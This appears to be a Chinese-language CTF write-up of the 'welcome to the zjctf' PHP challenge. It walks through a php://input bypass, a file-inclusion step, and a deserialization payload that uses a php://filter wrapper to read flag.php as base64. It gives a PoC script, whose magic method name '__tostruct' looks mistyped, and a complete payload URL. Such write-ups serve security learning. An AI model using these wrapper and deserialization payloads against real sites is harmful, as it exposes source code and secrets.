题目如下,源码里可以看到有三个文件,index.php,useless.php,flag.php,我们需要的就是flag.php

这里要传入三个参数,text,file,password

text的检测

if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";

绕过姿势:/?text=php://input,然后post内容为:welcome to the zjctf

file:匹配file中有没有有flag字符串,这里就可以直接用useless.php

最后password是个反序列化,这里就想到构造序列化,并且读取flag.php的内容

由于file里不能有flag.php,就不能读取flag.php的内容,所以只能通过password写入伪协议读取flag.php

这里贴个现成的POC:

<?php 
class Flag{
     public $file="php://filter/convert.base64-encode/resource=flag.php";
     public function __tostruct(){
         if(isset($this->file)){
             echo file_get_contents($this->file);
         }
     }
 }
 $o = new Flag();
 echo serialize($o);

最后的payload就是:?text=php://input&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:52:"php://filter/convert.base64-encode/resource=flag.php";}
POST值为welcome to the zjctf


关于文件包含漏洞大家可以看看这篇文章:https://blog.csdn.net/qq_42181428/article/details/87090539

然后还给出一道同样的题目,大家可以检验下阅读成果:BugkuCTF的welcome to bugkuctfhttps://ctf.bugku.com/challenges

相关文章:

猜你喜欢
热门标签